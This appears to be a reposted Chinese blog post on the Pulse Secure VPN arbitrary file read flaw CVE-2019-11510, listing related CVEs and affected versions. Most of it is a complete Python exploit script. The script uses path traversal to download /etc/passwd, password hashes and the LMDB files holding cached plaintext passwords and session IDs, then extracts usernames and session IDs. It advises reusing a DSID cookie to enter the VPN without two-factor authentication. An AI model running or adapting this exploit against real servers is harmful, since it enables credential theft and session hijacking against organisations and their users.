Pulse Secure 任意文件读取（CVE-2019-11510）漏洞

漏洞分析

我们可以通过CVE-2019-11510这个未授权的任意文件读取漏洞把以下文件下载回来。

1. /etc/passwd
2. /etc/hosts
3. /data/runtime/mtmp/system
4. /data/runtime/mtmp/lmdb/dataa/data.mdb
5. /data/runtime/mtmp/lmdb/dataa/lock.mdb
6. /data/runtime/mtmp/lmdb/randomVal/data.mdb
7. /data/runtime/mtmp/lmdb/randomVal/lock.mdb

其中，mtmp/system文件保存了用户名和密码哈希。

dataa/data.mdb缓存了已登录用户的明文密码。

randomVal/data.mdb文件保存了用户的会话。

但是就是获得了账号密码，也要面对双因素认证。

第一方法，通过randomVal/data.mdb保存的会话登录。

事实上，研究员还发现了以下安全漏洞。

• CVE-2019-11510 - Pre-auth Arbitrary File Reading
• CVE-2019-11542 - Post-auth Stack Buffer Overflow
• CVE-2019-11539 - Post-auth Command Injection
• CVE-2019-11538 - Post-auth Arbitrary File Reading
• CVE-2019-11508 - Post-auth Arbitrary File Writing
• CVE-2019-11540 - Post-auth Session Hijacking

影响版本

漏洞编号            影响版本

CVE-2019-11510                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX

CVE-2019-11542                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX 和 Pulse Policy Secure：9.0RX 5.4RX 5.3RX 5.2RX 5.1RX

CVE-2019-11539                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX 和 Pulse Policy Secure: 9.0RX 5.4RX 5.3RX 5.2RX 5.1RX

CVE-2019-11538                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX

CVE-2019-11508                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX

CVE-2019-11540                Pulse Connect Secure: 9.0RX 8.3RX 和 Pulse Policy Secure: 9.0RX 5.4RX

漏洞利用

https://github.com/projectzeroindia/CVE-2019-11510

参考以上shell脚本写的python版exp：

使用：python exp.py https://sslvpn.target.com/

import requests
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import os
import sys
from urllib.parse import urlparse,urljoin

banner = '''
   _______      ________    ___   ___  __  ___        __ __ _____ __  ___
  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ /_ | ____/_ |/ _ \
 | |     \ \  / /| |__ ______ ) | | | || | (_) |______| || | |__  | | | | |
 | |      \ \/ / |  __|______/ /| | | || |\__, |______| || |___ \ | | | | |
 | |____   \  /  | |____    / /_| |_| || |  / /       | || |___) || | |_| |
  \_____|   \/   |______|  |____|\___/ |_| /_/        |_||_|____/ |_|\___/ 

                         python By StudyCat
'''
print (banner)

def exp(url):
	netloc = urlparse(url)[1]
	path = urlparse(url)[2]
	if path == '/':
		url = url
	elif path == '':
		url = url+'/'
	else:
		print("URL Error")
		return
	r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/', verify=False)
	if r.status_code == 200 and 'root:x:0:0:root' in r.text:
		print(url + " ---------------> Vulnerable\n")
		print('Extracting /etc/passwd')
		print ("Writing all files to output dir "  + netloc)
		if not os.path.exists(netloc):
			os.mkdir(netloc)
		print(r.text+"\n")
		f = open(netloc+'/passwd','a')
		f.write(r.text)
		f.close()

		r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../etc/hosts?/dana/html5acc/guacamole/', verify=False)
		if r.status_code == 200:
			print('Extracting /etc/hosts')
			print(r.text)
			f = open(netloc+'/hosts','a')
			f.write(r.text+"\n")
			f.close()

		print('Downloading /data/runtime/mtmp/lmdb/dataa/data.mdb to extract plaintext usernames and password')
		r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/', verify=False)
		if r.status_code == 200:
			f = open(netloc+"/data_runtime_mtmp_lmdb_dataa_data.mdb",'ab')
			f.write(r.content)
			f.close()

			f = open('data_runtime_mtmp_lmdb_dataa_data.mdb','rb')
			users = []
			buf = f.readline()
			while buf:
				n = buf.count(b'CN=')
				if n>0:
					for i in range(n):
						if i :
							indexx = buf.find(b'CN=',indexx+1)
						else:
							indexx = buf.find(b'CN=')
							t = buf[indexx:indexx+100]
							end = t.find(b'\x00')
							t = buf[indexx:indexx+end]
							users.append(t.decode())
				buf = f.readline()
			f.close()
			users = list(set(users))
			f = open(netloc+"/users.txt","a")
			for line in users:
				f.write(line+"\n")
			f.close()	

		print("Downloading /data/runtime/mtmp/lmdb/randomVal/data.mdb to extract sessionids, Use DSID=SESSIONID; as cookie to login directly into vpn")
		r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/randomVal/data.mdb?/dana/html5acc/guacamole/', verify=False)
		if r.status_code == 200:
			f = open(netloc+"/data_runtime_mtmp_lmdb_randomVal_data.mdb",'ab')
			f.write(r.content)
			f.close()

			f = open(netloc+"/data_runtime_mtmp_lmdb_randomVal_data.mdb",'rb')
			sessionids = []
			buf = f.readline()
			while buf:
				n = buf.count(b'randomVal')
				if n>0:
					for i in range(n):
						if i :
							indexx = buf.find(b'randomVal',indexx+9)
						else:
							indexx = buf.find(b'randomVal')
						t = buf[indexx:indexx+41]
						if len(t)==41 and b'\x00' not in t:
							sid = t[9:].decode()
							sessionids.append(sid)
				buf = f.readline()
			f.close()
			sessionids = list(set(sessionids))
			f = open(netloc+'/sessionids.txt','a')
			for sid in sessionids:
				print(sid)
				f.write(sid+"\n")
			f.close()
	else:
		print(url + " ---------------> Not Vulnerable")

def main():
	url = sys.argv[1]
	exp(url)

if __name__ == '__main__':
	main()

参考：

https://github.com/projectzeroindia/CVE-2019-11510

https://hackerone.com/reports/591295

转载请注明出处。